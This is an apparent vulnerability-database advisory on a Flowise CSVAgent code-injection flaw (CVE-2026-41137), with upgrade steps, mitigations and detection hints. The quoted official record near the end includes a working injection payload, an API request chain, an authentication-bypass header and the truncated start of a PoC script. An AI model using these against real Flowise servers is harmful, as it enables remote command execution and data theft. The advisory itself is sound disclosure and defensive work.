Flowise CSVAgent allows attackers to run code on the server

CriticalSE Fix-First Score 51/100CVE-2026-41137SE-AIV-01635Remote code executionAI apps and chat interfacesMade public 17 Apr 2026

Download as PDF

What this means

An attacker with access to Flowise can run any command on the server where it is installed. This means they can steal data, change files, install malware, or take over the entire system. If Flowise connects to other systems or databases, the attacker gains access to those too.

SecurityElites Manager Brief: the decision in one minute

Flowise accepts custom Python code for CSV handling without checking it. An attacker can inject commands that run on your server. You must upgrade to version 3.1.0 immediately if you are running Flowise.

SecurityElites Fix-First Score51 of 100
Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity.
SecurityElites fix windowWithin 7 days
Critical severity. This is our suggestion from common practice; your own policy comes first.
Who should own the fixPlatform engineering or DevOps team (the people who run Flowise).
Likely effortAbout 15 minutes per server: check the version, upgrade the packages, and restart the service. It may take longer if you have many Flowise instances or if you need to test in staging first.

Questions to ask your team or supplier

  • Do we have authentication turned on for all Flowise instances? If not, why, and when will it be enabled?
  • Who has permission to create chat flows and use the CSVAgent in our Flowise deployments, and do we need to restrict it further?
  • Have we checked our logs for signs that someone already used this weakness to run commands on our Flowise servers?

Message you can forward to the owning team

Security notice: Flowise CSVAgent allows attackers to run code on the server (CVE-2026-41137)

Severity: Critical
SecurityElites Fix-First Score: 51 of 100
SecurityElites fix window: Within 7 days
Action: upgrade to flowise 3.1.0, flowise-components 3.1.0 or later.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2026-41137-flowise-csvagent-allows-attackers-to-run-code-on-the/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-01635

What is at stake in your AI setup

  • Tools and systems the agent is connected to: an attacker can access or manipulate any database, API, or file system the Flowise agent can reach.
  • Prompts and chat history: an attacker can read and modify the instructions and conversation history stored in Flowise.
  • Keys for AI providers: an attacker can steal API keys stored in Flowise configuration and use them to access or change your AI models.
  • Training or retrieval data: an attacker can read or delete the data that Flowise uses to build responses, such as uploaded documents or vector databases.

Map where your company uses AI

Who is exposed

  • Flowise servers with authentication disabled (when FLOWISE_USERNAME and FLOWISE_PASSWORD are not set).
  • Flowise servers where any authenticated user can create chat flows.
  • Teams running Flowise 3.0.x or earlier.
  • Flowise deployments exposed to any network, even internal networks.

Upgrades you need

SoftwareAffected versionsMove to
flowise
npm
Every version before 3.1.03.1.0 or later
flowise-components
npm
Every version before 3.1.03.1.0 or later

Am I affected?

Enter the version you run. Nothing you type is stored.

SecurityElites Developer Brief: the technical picture

Is it being attackedWorking attack code is public, so expect attacks to follow
Where the attacker must beAnywhere that can reach it over a network, including the internet if it is exposed
Account neededAn ordinary user account
Does a person have to do somethingNo. It works without anyone clicking or opening anything
How hard it is to doEasy. It works reliably once the attacker can reach it
Risk of: data being readHigh
Risk of: data or settings being changedHigh
Risk of: the service being taken downHigh
Can attackers automate it at scaleNo, according to CISA. Each target needs manual work
How much control an attacker gainsTotal control of the affected software, according to CISA

Read from the official severity rating: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Kind of coding mistake

  • CWE-94: code can be injected

If you cannot upgrade today

  • Until you can upgrade, turn on authentication by setting FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables. Restart Flowise after setting them.
  • Restrict access to Flowise to only trusted users and networks. Remove any external routes or IP allowlists that expose Flowise to the internet.
  • Disable the CSVAgent node type if it is not in use. Remove it from the available node list in the UI.

Signs it may already have been used against you

  • Check server and application logs for requests to /api/v1/chatflows or /api/v1/prediction that came from unexpected users or IP addresses.
  • Look for Python execution logs showing os.system calls, import statements, or file operations that you did not trigger.
  • Search for new processes or commands spawned by the Flowise service (whoami, curl, bash, sh) that were not part of normal operation.
  • Review Flowise chat flow history for CSVAgent nodes with custom read CSV code that looks like it contains semicolons, import statements, or system calls.

SecurityElites Fix Guide: step by step

  1. Find where Flowise is installedList all servers and containers running Flowise. Check the npm packages flowise and flowise-components. Write down each location, version, and whether authentication is turned on.
  2. Check the current versionIf it is earlier than 3.1.0, it is at risk.
  3. Back up Flowise configuration and dataSave the current Flowise settings, chat flows, and any important data. This protects you if something goes wrong during the upgrade.
  4. Upgrade flowise and flowise-components to version 3.1.0Use npm to upgrade both packages to version 3.1.0 or later. Run: npm install flowise@3.1.0 flowise-components@3.1.0. Update all servers where Flowise is running.
  5. Restart Flowise on all serversStop and start the Flowise service on each server. Confirm that it starts without errors and that the UI is reachable.
  6. Confirm the fix is in placeConfirm that both flowise and flowise-components show version 3.1.0 or later.
  7. Check for signs of past attacksLook for unusual activity between now and when you first learned of this risk. If you find signs of attack, follow the incident response plan.
  8. Enable authentication if it is not already onIf FLOWISE_USERNAME and FLOWISE_PASSWORD are not set, set them now. This stops attackers from using the internal header to skip login checks.

How to confirm it is fixed: Run npm list flowise flowise-components on the server and confirm both packages show version 3.1.0 or later.

SecurityElites Quick Fixes: copy and paste

Upgrade flowise with npmupgrade

npm install flowise@3.1.0
npm ls flowise

Upgrade flowise-components with npmupgrade

npm install flowise-components@3.1.0
npm ls flowise-components

Check flowise version (npm)for this issue

npm list flowise flowise-components

Check flowise version (package.json)for this issue

grep -A 2 '"flowise"' package.json

Run the service in a locked-down containergeneral hardening

docker run --read-only --cap-drop ALL \
  --security-opt no-new-privileges --user 1000:1000 \
  -p 127.0.0.1:8080:8080 YOUR_IMAGE

Test in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.

Let your AI coding assistant do the upgrade

Paste this into the coding assistant you already use, inside the project. It checks first and asks before it changes anything.

Instruction for your coding assistant

You are helping me fix a security vulnerability (CVE-2026-41137) in this project.\n\n1. Search the whole repository, including lock files, container files and CI configuration, for these packages and list every place they are pinned or installed:\n   - flowise (npm): must be 3.1.0 or later
   - flowise-components (npm): must be 3.1.0 or later
2. Tell me which version we use now and whether it is affected. Stop and ask me before changing anything.
3. After I agree, raise each one to the safe version, update the lock files, and keep every other dependency as it is.
4. Run the tests and tell me what failed.
5. Give me a short summary of the files you changed that I can put in the pull request.

SecurityElites Incident Drill: could your team handle this?

Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.

What is the core problem with the CSVAgent that makes this attack possible?A good answer: The CSVAgent allows users to provide custom Python code for reading CSV files, and this code is executed on the server without checking or cleaning it first, so an attacker can inject malicious commands.
What must be true for an attacker to exploit this weakness?A good answer: The attacker must be able to send requests to the Flowise API, either by logging in as an authenticated user or by using the internal header when authentication is disabled.
What commands can an attacker run if they exploit this?A good answer: An attacker can run any command that the Flowise process has permission to run, such as reading files, changing system settings, or installing software.
What is the first action to take to protect Flowise from this risk?A good answer: Upgrade both the flowise and flowise-components packages to version 3.1.0 or later, and restart the service.

Run a full timed drill with your team

Ticket for your backlog

Paste into Jira, GitHub Issues or any tracker that reads Markdown.

Ready-made ticket

## Flowise CSVAgent allows attackers to run code on the server (CVE-2026-41137)

**Severity:** Critical  |  **SE Fix-First Score:** 51/100  |  **Fix window:** Within 7 days
**Record:** SE-AIV-01635 https://securityelites.com/ai-vulnerabilities/cve-2026-41137-flowise-csvagent-allows-attackers-to-run-code-on-the/

### Why this matters
An attacker with access to Flowise can run any command on the server where it is installed. This means they can steal data, change files, install malware, or take over the entire system. If Flowise connects to other systems or databases, the attacker gains access to those too.

### What to do
1. Find where Flowise is installed
2. Check the current version
3. Back up Flowise configuration and data
4. Upgrade flowise and flowise-components to version 3.1.0
5. Restart Flowise on all servers
6. Confirm the fix is in place
7. Check for signs of past attacks
8. Enable authentication if it is not already on

Full steps: https://securityelites.com/ai-vulnerabilities/cve-2026-41137-flowise-csvagent-allows-attackers-to-run-code-on-the/

### Done when
- [ ] flowise is at 3.1.0 or later everywhere it is installed
- [ ] flowise-components is at 3.1.0 or later everywhere it is installed
- [ ] Lock files, container images and CI configuration are updated
- [ ] Run npm list flowise flowise-components on the server and confirm both packages show version 3.1.0 or later.
- [ ] Logs were checked for signs of earlier use

SecurityElites Fix Tracker

Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.

Sign in to track this fix

Change history

  • 16 Apr 2026: Made public
  • 2 Dec 2026: Published

Official record

### Summary The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({'foo': ['bar!']});import os;os.system('whoami')` that will get interpolated and executed by the server.### Details The code in question that introduces the issue is in [CSVAgent.ts](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/components/nodes/agents/CSVAgent/CSVAgent.ts#L157]). `customReadCSVFunc` is user-controlled and gets interpolated directly without sanitization into the `code` variable which gets executed by `pyodide` one line later in: `dataframeColDict = await pyodide.runPythonAsync(code)`. An authenticated attacker can issue the following chain of requests:1. Create a new chat flow by sending a `POST` request to `/api/v1/chatflows`. This will return the `chatflowId` in the response. 2. Send a `POST` request to `/api/v1/prediction/[CHATFLOWID]` to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work. 3. Optionally: send a `DELETE` request to `/api/v1/chatflows` to cleanup and delete the chat flow.Since `/chatflows` is not whitelisted [here](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/server/src/utils/constants.ts#L1), this mandates the user to be authenticated. But, if `FLOWISE_USERNAME` and `FLOWISE_PQSSWORD` aren't set, it's sufficient to provide the `"x-request-from": "internal"` header to bypass authentication.### PoC Here's the PoC code: ``` const PORT = 3000; const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`; const PREDICTION_URL = '/api/v1/prediction'; const CHATFLOWS_URL = '/api/v1/chatflows';const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":true,\"id\":\"csvAgent_0-input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-input-csvFile-file\"},{\"label\":\"System Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalParams\":true,\"optional\":true,\"placeholder\":\"I want you to act as a document that I am having a conversation with. Your name is \\\"AI Assistant\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an input: \\\"csv_data\\\"\",\

Weakness type: CWE-94

Use this record in your own tools

Get this record as JSON

curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2026-41137

For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker

The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 2 Dec 2026. Read the vendor advisory before changing a production system.